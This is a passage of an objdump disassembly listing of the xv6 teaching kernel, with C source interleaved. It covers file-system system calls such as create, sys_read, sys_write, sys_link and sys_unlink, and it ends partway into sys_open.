8010471d: 74 41 je 80104760 <create+0x90>
iunlockput(dp);
8010471f: 89 3c 24 mov %edi,(%esp)
80104722: e8 d9 d1 ff ff call 80101900 <iunlockput>
ilock(ip);
80104727: 89 34 24 mov %esi,(%esp)
8010472a: e8 71 cf ff ff call 801016a0 <ilock>
if(type == T_FILE && ip->type == T_FILE)
8010472f: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
80104734: 75 12 jne 80104748 <create+0x78>
80104736: 66 83 7e 50 02 cmpw $0x2,0x50(%esi)
8010473b: 89 f0 mov %esi,%eax
8010473d: 75 09 jne 80104748 <create+0x78>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
8010473f: 83 c4 4c add $0x4c,%esp
80104742: 5b pop %ebx
80104743: 5e pop %esi
80104744: 5f pop %edi
80104745: 5d pop %ebp
80104746: c3 ret
80104747: 90 nop
iunlockput(ip);
80104748: 89 34 24 mov %esi,(%esp)
8010474b: e8 b0 d1 ff ff call 80101900 <iunlockput>
}
80104750: 83 c4 4c add $0x4c,%esp
return 0;
80104753: 31 c0 xor %eax,%eax
}
80104755: 5b pop %ebx
80104756: 5e pop %esi
80104757: 5f pop %edi
80104758: 5d pop %ebp
80104759: c3 ret
8010475a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if((ip = ialloc(dp->dev, type)) == 0)
80104760: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
80104764: 89 44 24 04 mov %eax,0x4(%esp)
80104768: 8b 07 mov (%edi),%eax
8010476a: 89 04 24 mov %eax,(%esp)
8010476d: e8 9e cd ff ff call 80101510 <ialloc>
80104772: 85 c0 test %eax,%eax
80104774: 89 c6 mov %eax,%esi
80104776: 0f 84 bf 00 00 00 je 8010483b <create+0x16b>
ilock(ip);
8010477c: 89 04 24 mov %eax,(%esp)
8010477f: e8 1c cf ff ff call 801016a0 <ilock>
ip->major = major;
80104784: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104788: 66 89 46 52 mov %ax,0x52(%esi)
ip->minor = minor;
8010478c: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104790: 66 89 46 54 mov %ax,0x54(%esi)
ip->nlink = 1;
80104794: b8 01 00 00 00 mov $0x1,%eax
80104799: 66 89 46 56 mov %ax,0x56(%esi)
iupdate(ip);
8010479d: 89 34 24 mov %esi,(%esp)
801047a0: e8 3b ce ff ff call 801015e0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
801047a5: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
801047aa: 74 34 je 801047e0 <create+0x110>
if(dirlink(dp, name, ip->inum) < 0)
801047ac: 8b 46 04 mov 0x4(%esi),%eax
801047af: 89 5c 24 04 mov %ebx,0x4(%esp)
801047b3: 89 3c 24 mov %edi,(%esp)
801047b6: 89 44 24 08 mov %eax,0x8(%esp)
801047ba: e8 51 d6 ff ff call 80101e10 <dirlink>
801047bf: 85 c0 test %eax,%eax
801047c1: 78 6c js 8010482f <create+0x15f>
iunlockput(dp);
801047c3: 89 3c 24 mov %edi,(%esp)
801047c6: e8 35 d1 ff ff call 80101900 <iunlockput>
}
801047cb: 83 c4 4c add $0x4c,%esp
return ip;
801047ce: 89 f0 mov %esi,%eax
}
801047d0: 5b pop %ebx
801047d1: 5e pop %esi
801047d2: 5f pop %edi
801047d3: 5d pop %ebp
801047d4: c3 ret
801047d5: 8d 76 00 lea 0x0(%esi),%esi
return 0;
801047d8: 31 c0 xor %eax,%eax
801047da: e9 60 ff ff ff jmp 8010473f <create+0x6f>
801047df: 90 nop
dp->nlink++; // for ".."
801047e0: 66 83 47 56 01 addw $0x1,0x56(%edi)
iupdate(dp);
801047e5: 89 3c 24 mov %edi,(%esp)
801047e8: e8 f3 cd ff ff call 801015e0 <iupdate>
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
801047ed: 8b 46 04 mov 0x4(%esi),%eax
801047f0: c7 44 24 04 94 75 10 movl $0x80107594,0x4(%esp)
801047f7: 80
801047f8: 89 34 24 mov %esi,(%esp)
801047fb: 89 44 24 08 mov %eax,0x8(%esp)
801047ff: e8 0c d6 ff ff call 80101e10 <dirlink>
80104804: 85 c0 test %eax,%eax
80104806: 78 1b js 80104823 <create+0x153>
80104808: 8b 47 04 mov 0x4(%edi),%eax
8010480b: c7 44 24 04 93 75 10 movl $0x80107593,0x4(%esp)
80104812: 80
80104813: 89 34 24 mov %esi,(%esp)
80104816: 89 44 24 08 mov %eax,0x8(%esp)
8010481a: e8 f1 d5 ff ff call 80101e10 <dirlink>
8010481f: 85 c0 test %eax,%eax
80104821: 79 89 jns 801047ac <create+0xdc>
panic("create dots");
80104823: c7 04 24 87 75 10 80 movl $0x80107587,(%esp)
8010482a: e8 31 bb ff ff call 80100360 <panic>
panic("create: dirlink");
8010482f: c7 04 24 96 75 10 80 movl $0x80107596,(%esp)
80104836: e8 25 bb ff ff call 80100360 <panic>
panic("create: ialloc");
8010483b: c7 04 24 78 75 10 80 movl $0x80107578,(%esp)
80104842: e8 19 bb ff ff call 80100360 <panic>
80104847: 89 f6 mov %esi,%esi
80104849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104850 <argfd.constprop.0>:
argfd(int n, int *pfd, struct file **pf)
80104850: 55 push %ebp
80104851: 89 e5 mov %esp,%ebp
80104853: 56 push %esi
80104854: 89 c6 mov %eax,%esi
80104856: 53 push %ebx
80104857: 89 d3 mov %edx,%ebx
80104859: 83 ec 20 sub $0x20,%esp
if(argint(n, &fd) < 0)
8010485c: 8d 45 f4 lea -0xc(%ebp),%eax
8010485f: 89 44 24 04 mov %eax,0x4(%esp)
80104863: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010486a: e8 d1 fc ff ff call 80104540 <argint>
8010486f: 85 c0 test %eax,%eax
80104871: 78 2d js 801048a0 <argfd.constprop.0+0x50>
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
80104873: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
80104877: 77 27 ja 801048a0 <argfd.constprop.0+0x50>
80104879: e8 12 ee ff ff call 80103690 <myproc>
8010487e: 8b 55 f4 mov -0xc(%ebp),%edx
80104881: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
80104885: 85 c0 test %eax,%eax
80104887: 74 17 je 801048a0 <argfd.constprop.0+0x50>
if(pfd)
80104889: 85 f6 test %esi,%esi
8010488b: 74 02 je 8010488f <argfd.constprop.0+0x3f>
*pfd = fd;
8010488d: 89 16 mov %edx,(%esi)
if(pf)
8010488f: 85 db test %ebx,%ebx
80104891: 74 1d je 801048b0 <argfd.constprop.0+0x60>
*pf = f;
80104893: 89 03 mov %eax,(%ebx)
return 0;
80104895: 31 c0 xor %eax,%eax
}
80104897: 83 c4 20 add $0x20,%esp
8010489a: 5b pop %ebx
8010489b: 5e pop %esi
8010489c: 5d pop %ebp
8010489d: c3 ret
8010489e: 66 90 xchg %ax,%ax
801048a0: 83 c4 20 add $0x20,%esp
return -1;
801048a3: b8 ff ff ff ff mov $0xffffffff,%eax
}
801048a8: 5b pop %ebx
801048a9: 5e pop %esi
801048aa: 5d pop %ebp
801048ab: c3 ret
801048ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
801048b0: 31 c0 xor %eax,%eax
801048b2: eb e3 jmp 80104897 <argfd.constprop.0+0x47>
801048b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801048c0 <sys_dup>:
{
801048c0: 55 push %ebp
if(argfd(0, 0, &f) < 0)
801048c1: 31 c0 xor %eax,%eax
{
801048c3: 89 e5 mov %esp,%ebp
801048c5: 53 push %ebx
801048c6: 83 ec 24 sub $0x24,%esp
if(argfd(0, 0, &f) < 0)
801048c9: 8d 55 f4 lea -0xc(%ebp),%edx
801048cc: e8 7f ff ff ff call 80104850 <argfd.constprop.0>
801048d1: 85 c0 test %eax,%eax
801048d3: 78 23 js 801048f8 <sys_dup+0x38>
if((fd=fdalloc(f)) < 0)
801048d5: 8b 45 f4 mov -0xc(%ebp),%eax
801048d8: e8 b3 fd ff ff call 80104690 <fdalloc>
801048dd: 85 c0 test %eax,%eax
801048df: 89 c3 mov %eax,%ebx
801048e1: 78 15 js 801048f8 <sys_dup+0x38>
filedup(f);
801048e3: 8b 45 f4 mov -0xc(%ebp),%eax
801048e6: 89 04 24 mov %eax,(%esp)
801048e9: e8 d2 c4 ff ff call 80100dc0 <filedup>
return fd;
801048ee: 89 d8 mov %ebx,%eax
}
801048f0: 83 c4 24 add $0x24,%esp
801048f3: 5b pop %ebx
801048f4: 5d pop %ebp
801048f5: c3 ret
801048f6: 66 90 xchg %ax,%ax
return -1;
801048f8: b8 ff ff ff ff mov $0xffffffff,%eax
801048fd: eb f1 jmp 801048f0 <sys_dup+0x30>
801048ff: 90 nop
80104900 <sys_read>:
{
80104900: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104901: 31 c0 xor %eax,%eax
{
80104903: 89 e5 mov %esp,%ebp
80104905: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104908: 8d 55 ec lea -0x14(%ebp),%edx
8010490b: e8 40 ff ff ff call 80104850 <argfd.constprop.0>
80104910: 85 c0 test %eax,%eax
80104912: 78 54 js 80104968 <sys_read+0x68>
80104914: 8d 45 f0 lea -0x10(%ebp),%eax
80104917: 89 44 24 04 mov %eax,0x4(%esp)
8010491b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104922: e8 19 fc ff ff call 80104540 <argint>
80104927: 85 c0 test %eax,%eax
80104929: 78 3d js 80104968 <sys_read+0x68>
8010492b: 8b 45 f0 mov -0x10(%ebp),%eax
8010492e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104935: 89 44 24 08 mov %eax,0x8(%esp)
80104939: 8d 45 f4 lea -0xc(%ebp),%eax
8010493c: 89 44 24 04 mov %eax,0x4(%esp)
80104940: e8 3b fc ff ff call 80104580 <argptr>
80104945: 85 c0 test %eax,%eax
80104947: 78 1f js 80104968 <sys_read+0x68>
return fileread(f, p, n);
80104949: 8b 45 f0 mov -0x10(%ebp),%eax
8010494c: 89 44 24 08 mov %eax,0x8(%esp)
80104950: 8b 45 f4 mov -0xc(%ebp),%eax
80104953: 89 44 24 04 mov %eax,0x4(%esp)
80104957: 8b 45 ec mov -0x14(%ebp),%eax
8010495a: 89 04 24 mov %eax,(%esp)
8010495d: e8 be c5 ff ff call 80100f20 <fileread>
}
80104962: c9 leave
80104963: c3 ret
80104964: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104968: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010496d: c9 leave
8010496e: c3 ret
8010496f: 90 nop
80104970 <sys_write>:
{
80104970: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104971: 31 c0 xor %eax,%eax
{
80104973: 89 e5 mov %esp,%ebp
80104975: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104978: 8d 55 ec lea -0x14(%ebp),%edx
8010497b: e8 d0 fe ff ff call 80104850 <argfd.constprop.0>
80104980: 85 c0 test %eax,%eax
80104982: 78 54 js 801049d8 <sys_write+0x68>
80104984: 8d 45 f0 lea -0x10(%ebp),%eax
80104987: 89 44 24 04 mov %eax,0x4(%esp)
8010498b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80104992: e8 a9 fb ff ff call 80104540 <argint>
80104997: 85 c0 test %eax,%eax
80104999: 78 3d js 801049d8 <sys_write+0x68>
8010499b: 8b 45 f0 mov -0x10(%ebp),%eax
8010499e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801049a5: 89 44 24 08 mov %eax,0x8(%esp)
801049a9: 8d 45 f4 lea -0xc(%ebp),%eax
801049ac: 89 44 24 04 mov %eax,0x4(%esp)
801049b0: e8 cb fb ff ff call 80104580 <argptr>
801049b5: 85 c0 test %eax,%eax
801049b7: 78 1f js 801049d8 <sys_write+0x68>
return filewrite(f, p, n);
801049b9: 8b 45 f0 mov -0x10(%ebp),%eax
801049bc: 89 44 24 08 mov %eax,0x8(%esp)
801049c0: 8b 45 f4 mov -0xc(%ebp),%eax
801049c3: 89 44 24 04 mov %eax,0x4(%esp)
801049c7: 8b 45 ec mov -0x14(%ebp),%eax
801049ca: 89 04 24 mov %eax,(%esp)
801049cd: e8 ee c5 ff ff call 80100fc0 <filewrite>
}
801049d2: c9 leave
801049d3: c3 ret
801049d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801049d8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801049dd: c9 leave
801049de: c3 ret
801049df: 90 nop
801049e0 <sys_close>:
{
801049e0: 55 push %ebp
801049e1: 89 e5 mov %esp,%ebp
801049e3: 83 ec 28 sub $0x28,%esp
if(argfd(0, &fd, &f) < 0)
801049e6: 8d 55 f4 lea -0xc(%ebp),%edx
801049e9: 8d 45 f0 lea -0x10(%ebp),%eax
801049ec: e8 5f fe ff ff call 80104850 <argfd.constprop.0>
801049f1: 85 c0 test %eax,%eax
801049f3: 78 23 js 80104a18 <sys_close+0x38>
myproc()->ofile[fd] = 0;
801049f5: e8 96 ec ff ff call 80103690 <myproc>
801049fa: 8b 55 f0 mov -0x10(%ebp),%edx
801049fd: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104a04: 00
fileclose(f);
80104a05: 8b 45 f4 mov -0xc(%ebp),%eax
80104a08: 89 04 24 mov %eax,(%esp)
80104a0b: e8 00 c4 ff ff call 80100e10 <fileclose>
return 0;
80104a10: 31 c0 xor %eax,%eax
}
80104a12: c9 leave
80104a13: c3 ret
80104a14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104a18: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104a1d: c9 leave
80104a1e: c3 ret
80104a1f: 90 nop
80104a20 <sys_fstat>:
{
80104a20: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104a21: 31 c0 xor %eax,%eax
{
80104a23: 89 e5 mov %esp,%ebp
80104a25: 83 ec 28 sub $0x28,%esp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104a28: 8d 55 f0 lea -0x10(%ebp),%edx
80104a2b: e8 20 fe ff ff call 80104850 <argfd.constprop.0>
80104a30: 85 c0 test %eax,%eax
80104a32: 78 34 js 80104a68 <sys_fstat+0x48>
80104a34: 8d 45 f4 lea -0xc(%ebp),%eax
80104a37: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104a3e: 00
80104a3f: 89 44 24 04 mov %eax,0x4(%esp)
80104a43: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104a4a: e8 31 fb ff ff call 80104580 <argptr>
80104a4f: 85 c0 test %eax,%eax
80104a51: 78 15 js 80104a68 <sys_fstat+0x48>
return filestat(f, st);
80104a53: 8b 45 f4 mov -0xc(%ebp),%eax
80104a56: 89 44 24 04 mov %eax,0x4(%esp)
80104a5a: 8b 45 f0 mov -0x10(%ebp),%eax
80104a5d: 89 04 24 mov %eax,(%esp)
80104a60: e8 6b c4 ff ff call 80100ed0 <filestat>
}
80104a65: c9 leave
80104a66: c3 ret
80104a67: 90 nop
return -1;
80104a68: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104a6d: c9 leave
80104a6e: c3 ret
80104a6f: 90 nop
80104a70 <sys_link>:
{
80104a70: 55 push %ebp
80104a71: 89 e5 mov %esp,%ebp
80104a73: 57 push %edi
80104a74: 56 push %esi
80104a75: 53 push %ebx
80104a76: 83 ec 3c sub $0x3c,%esp
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104a79: 8d 45 d4 lea -0x2c(%ebp),%eax
80104a7c: 89 44 24 04 mov %eax,0x4(%esp)
80104a80: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104a87: e8 54 fb ff ff call 801045e0 <argstr>
80104a8c: 85 c0 test %eax,%eax
80104a8e: 0f 88 e6 00 00 00 js 80104b7a <sys_link+0x10a>
80104a94: 8d 45 d0 lea -0x30(%ebp),%eax
80104a97: 89 44 24 04 mov %eax,0x4(%esp)
80104a9b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80104aa2: e8 39 fb ff ff call 801045e0 <argstr>
80104aa7: 85 c0 test %eax,%eax
80104aa9: 0f 88 cb 00 00 00 js 80104b7a <sys_link+0x10a>
begin_op();
80104aaf: e8 4c e0 ff ff call 80102b00 <begin_op>
if((ip = namei(old)) == 0){
80104ab4: 8b 45 d4 mov -0x2c(%ebp),%eax
80104ab7: 89 04 24 mov %eax,(%esp)
80104aba: e8 31 d4 ff ff call 80101ef0 <namei>
80104abf: 85 c0 test %eax,%eax
80104ac1: 89 c3 mov %eax,%ebx
80104ac3: 0f 84 ac 00 00 00 je 80104b75 <sys_link+0x105>
ilock(ip);
80104ac9: 89 04 24 mov %eax,(%esp)
80104acc: e8 cf cb ff ff call 801016a0 <ilock>
if(ip->type == T_DIR){
80104ad1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104ad6: 0f 84 91 00 00 00 je 80104b6d <sys_link+0xfd>
ip->nlink++;
80104adc: 66 83 43 56 01 addw $0x1,0x56(%ebx)
if((dp = nameiparent(new, name)) == 0)
80104ae1: 8d 7d da lea -0x26(%ebp),%edi
iupdate(ip);
80104ae4: 89 1c 24 mov %ebx,(%esp)
80104ae7: e8 f4 ca ff ff call 801015e0 <iupdate>
iunlock(ip);
80104aec: 89 1c 24 mov %ebx,(%esp)
80104aef: e8 8c cc ff ff call 80101780 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104af4: 8b 45 d0 mov -0x30(%ebp),%eax
80104af7: 89 7c 24 04 mov %edi,0x4(%esp)
80104afb: 89 04 24 mov %eax,(%esp)
80104afe: e8 0d d4 ff ff call 80101f10 <nameiparent>
80104b03: 85 c0 test %eax,%eax
80104b05: 89 c6 mov %eax,%esi
80104b07: 74 4f je 80104b58 <sys_link+0xe8>
ilock(dp);
80104b09: 89 04 24 mov %eax,(%esp)
80104b0c: e8 8f cb ff ff call 801016a0 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104b11: 8b 03 mov (%ebx),%eax
80104b13: 39 06 cmp %eax,(%esi)
80104b15: 75 39 jne 80104b50 <sys_link+0xe0>
80104b17: 8b 43 04 mov 0x4(%ebx),%eax
80104b1a: 89 7c 24 04 mov %edi,0x4(%esp)
80104b1e: 89 34 24 mov %esi,(%esp)
80104b21: 89 44 24 08 mov %eax,0x8(%esp)
80104b25: e8 e6 d2 ff ff call 80101e10 <dirlink>
80104b2a: 85 c0 test %eax,%eax
80104b2c: 78 22 js 80104b50 <sys_link+0xe0>
iunlockput(dp);
80104b2e: 89 34 24 mov %esi,(%esp)
80104b31: e8 ca cd ff ff call 80101900 <iunlockput>
iput(ip);
80104b36: 89 1c 24 mov %ebx,(%esp)
80104b39: e8 82 cc ff ff call 801017c0 <iput>
end_op();
80104b3e: e8 2d e0 ff ff call 80102b70 <end_op>
}
80104b43: 83 c4 3c add $0x3c,%esp
return 0;
80104b46: 31 c0 xor %eax,%eax
}
80104b48: 5b pop %ebx
80104b49: 5e pop %esi
80104b4a: 5f pop %edi
80104b4b: 5d pop %ebp
80104b4c: c3 ret
80104b4d: 8d 76 00 lea 0x0(%esi),%esi
iunlockput(dp);
80104b50: 89 34 24 mov %esi,(%esp)
80104b53: e8 a8 cd ff ff call 80101900 <iunlockput>
ilock(ip);
80104b58: 89 1c 24 mov %ebx,(%esp)
80104b5b: e8 40 cb ff ff call 801016a0 <ilock>
ip->nlink--;
80104b60: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104b65: 89 1c 24 mov %ebx,(%esp)
80104b68: e8 73 ca ff ff call 801015e0 <iupdate>
iunlockput(ip);
80104b6d: 89 1c 24 mov %ebx,(%esp)
80104b70: e8 8b cd ff ff call 80101900 <iunlockput>
end_op();
80104b75: e8 f6 df ff ff call 80102b70 <end_op>
}
80104b7a: 83 c4 3c add $0x3c,%esp
return -1;
80104b7d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104b82: 5b pop %ebx
80104b83: 5e pop %esi
80104b84: 5f pop %edi
80104b85: 5d pop %ebp
80104b86: c3 ret
80104b87: 89 f6 mov %esi,%esi
80104b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b90 <sys_unlink>:
{
80104b90: 55 push %ebp
80104b91: 89 e5 mov %esp,%ebp
80104b93: 57 push %edi
80104b94: 56 push %esi
80104b95: 53 push %ebx
80104b96: 83 ec 5c sub $0x5c,%esp
if(argstr(0, &path) < 0)
80104b99: 8d 45 c0 lea -0x40(%ebp),%eax
80104b9c: 89 44 24 04 mov %eax,0x4(%esp)
80104ba0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80104ba7: e8 34 fa ff ff call 801045e0 <argstr>
80104bac: 85 c0 test %eax,%eax
80104bae: 0f 88 76 01 00 00 js 80104d2a <sys_unlink+0x19a>
begin_op();
80104bb4: e8 47 df ff ff call 80102b00 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104bb9: 8b 45 c0 mov -0x40(%ebp),%eax
80104bbc: 8d 5d ca lea -0x36(%ebp),%ebx
80104bbf: 89 5c 24 04 mov %ebx,0x4(%esp)
80104bc3: 89 04 24 mov %eax,(%esp)
80104bc6: e8 45 d3 ff ff call 80101f10 <nameiparent>
80104bcb: 85 c0 test %eax,%eax
80104bcd: 89 45 b4 mov %eax,-0x4c(%ebp)
80104bd0: 0f 84 4f 01 00 00 je 80104d25 <sys_unlink+0x195>
ilock(dp);
80104bd6: 8b 75 b4 mov -0x4c(%ebp),%esi
80104bd9: 89 34 24 mov %esi,(%esp)
80104bdc: e8 bf ca ff ff call 801016a0 <ilock>
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80104be1: c7 44 24 04 94 75 10 movl $0x80107594,0x4(%esp)
80104be8: 80
80104be9: 89 1c 24 mov %ebx,(%esp)
80104bec: e8 8f cf ff ff call 80101b80 <namecmp>
80104bf1: 85 c0 test %eax,%eax
80104bf3: 0f 84 21 01 00 00 je 80104d1a <sys_unlink+0x18a>
80104bf9: c7 44 24 04 93 75 10 movl $0x80107593,0x4(%esp)
80104c00: 80
80104c01: 89 1c 24 mov %ebx,(%esp)
80104c04: e8 77 cf ff ff call 80101b80 <namecmp>
80104c09: 85 c0 test %eax,%eax
80104c0b: 0f 84 09 01 00 00 je 80104d1a <sys_unlink+0x18a>
if((ip = dirlookup(dp, name, &off)) == 0)
80104c11: 8d 45 c4 lea -0x3c(%ebp),%eax
80104c14: 89 5c 24 04 mov %ebx,0x4(%esp)
80104c18: 89 44 24 08 mov %eax,0x8(%esp)
80104c1c: 89 34 24 mov %esi,(%esp)
80104c1f: e8 8c cf ff ff call 80101bb0 <dirlookup>
80104c24: 85 c0 test %eax,%eax
80104c26: 89 c3 mov %eax,%ebx
80104c28: 0f 84 ec 00 00 00 je 80104d1a <sys_unlink+0x18a>
ilock(ip);
80104c2e: 89 04 24 mov %eax,(%esp)
80104c31: e8 6a ca ff ff call 801016a0 <ilock>
if(ip->nlink < 1)
80104c36: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104c3b: 0f 8e 24 01 00 00 jle 80104d65 <sys_unlink+0x1d5>
if(ip->type == T_DIR && !isdirempty(ip)){
80104c41: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104c46: 8d 75 d8 lea -0x28(%ebp),%esi
80104c49: 74 7d je 80104cc8 <sys_unlink+0x138>
memset(&de, 0, sizeof(de));
80104c4b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104c52: 00
80104c53: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104c5a: 00
80104c5b: 89 34 24 mov %esi,(%esp)
80104c5e: e8 0d f6 ff ff call 80104270 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104c63: 8b 45 c4 mov -0x3c(%ebp),%eax
80104c66: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104c6d: 00
80104c6e: 89 74 24 04 mov %esi,0x4(%esp)
80104c72: 89 44 24 08 mov %eax,0x8(%esp)
80104c76: 8b 45 b4 mov -0x4c(%ebp),%eax
80104c79: 89 04 24 mov %eax,(%esp)
80104c7c: e8 cf cd ff ff call 80101a50 <writei>
80104c81: 83 f8 10 cmp $0x10,%eax
80104c84: 0f 85 cf 00 00 00 jne 80104d59 <sys_unlink+0x1c9>
if(ip->type == T_DIR){
80104c8a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104c8f: 0f 84 a3 00 00 00 je 80104d38 <sys_unlink+0x1a8>
iunlockput(dp);
80104c95: 8b 45 b4 mov -0x4c(%ebp),%eax
80104c98: 89 04 24 mov %eax,(%esp)
80104c9b: e8 60 cc ff ff call 80101900 <iunlockput>
ip->nlink--;
80104ca0: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104ca5: 89 1c 24 mov %ebx,(%esp)
80104ca8: e8 33 c9 ff ff call 801015e0 <iupdate>
iunlockput(ip);
80104cad: 89 1c 24 mov %ebx,(%esp)
80104cb0: e8 4b cc ff ff call 80101900 <iunlockput>
end_op();
80104cb5: e8 b6 de ff ff call 80102b70 <end_op>
}
80104cba: 83 c4 5c add $0x5c,%esp
return 0;
80104cbd: 31 c0 xor %eax,%eax
}
80104cbf: 5b pop %ebx
80104cc0: 5e pop %esi
80104cc1: 5f pop %edi
80104cc2: 5d pop %ebp
80104cc3: c3 ret
80104cc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104cc8: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80104ccc: 0f 86 79 ff ff ff jbe 80104c4b <sys_unlink+0xbb>
80104cd2: bf 20 00 00 00 mov $0x20,%edi
80104cd7: eb 15 jmp 80104cee <sys_unlink+0x15e>
80104cd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104ce0: 8d 57 10 lea 0x10(%edi),%edx
80104ce3: 3b 53 58 cmp 0x58(%ebx),%edx
80104ce6: 0f 83 5f ff ff ff jae 80104c4b <sys_unlink+0xbb>
80104cec: 89 d7 mov %edx,%edi
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104cee: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104cf5: 00
80104cf6: 89 7c 24 08 mov %edi,0x8(%esp)
80104cfa: 89 74 24 04 mov %esi,0x4(%esp)
80104cfe: 89 1c 24 mov %ebx,(%esp)
80104d01: e8 4a cc ff ff call 80101950 <readi>
80104d06: 83 f8 10 cmp $0x10,%eax
80104d09: 75 42 jne 80104d4d <sys_unlink+0x1bd>
if(de.inum != 0)
80104d0b: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80104d10: 74 ce je 80104ce0 <sys_unlink+0x150>
iunlockput(ip);
80104d12: 89 1c 24 mov %ebx,(%esp)
80104d15: e8 e6 cb ff ff call 80101900 <iunlockput>
iunlockput(dp);
80104d1a: 8b 45 b4 mov -0x4c(%ebp),%eax
80104d1d: 89 04 24 mov %eax,(%esp)
80104d20: e8 db cb ff ff call 80101900 <iunlockput>
end_op();
80104d25: e8 46 de ff ff call 80102b70 <end_op>
}
80104d2a: 83 c4 5c add $0x5c,%esp
return -1;
80104d2d: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104d32: 5b pop %ebx
80104d33: 5e pop %esi
80104d34: 5f pop %edi
80104d35: 5d pop %ebp
80104d36: c3 ret
80104d37: 90 nop
dp->nlink--;
80104d38: 8b 45 b4 mov -0x4c(%ebp),%eax
80104d3b: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80104d40: 89 04 24 mov %eax,(%esp)
80104d43: e8 98 c8 ff ff call 801015e0 <iupdate>
80104d48: e9 48 ff ff ff jmp 80104c95 <sys_unlink+0x105>
panic("isdirempty: readi");
80104d4d: c7 04 24 b8 75 10 80 movl $0x801075b8,(%esp)
80104d54: e8 07 b6 ff ff call 80100360 <panic>
panic("unlink: writei");
80104d59: c7 04 24 ca 75 10 80 movl $0x801075ca,(%esp)
80104d60: e8 fb b5 ff ff call 80100360 <panic>
panic("unlink: nlink < 1");
80104d65: c7 04 24 a6 75 10 80 movl $0x801075a6,(%esp)
80104d6c: e8 ef b5 ff ff call 80100360 <panic>
80104d71: eb 0d jmp 80104d80 <sys_open>
80104d73: 90 nop
80104d74: 90 nop
80104d75: 90 nop
80104d76: 90 nop
80104d77: 90 nop
80104d78: 90 nop
80104d79: 90 nop
80104d7a: 90 nop
80104d7b: 90 nop
80104d7c: 90 nop
80104d7d: 90 nop
80104d7e: 90 nop
80104d7f: 90 nop
80104d80 <sys_open>:
int
sys_open(void)
{
80104d80: 55 push %ebp
80104d81: 89 e5 mov %esp,%ebp
80104d83: 57 push %edi
80104d84: 56 push %esi
80104d85: 53 push %ebx
80104d86: 83 ec 2c sub $0x2c,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80104d89: 8d 45 e0 lea -0x20(%ebp),%eax
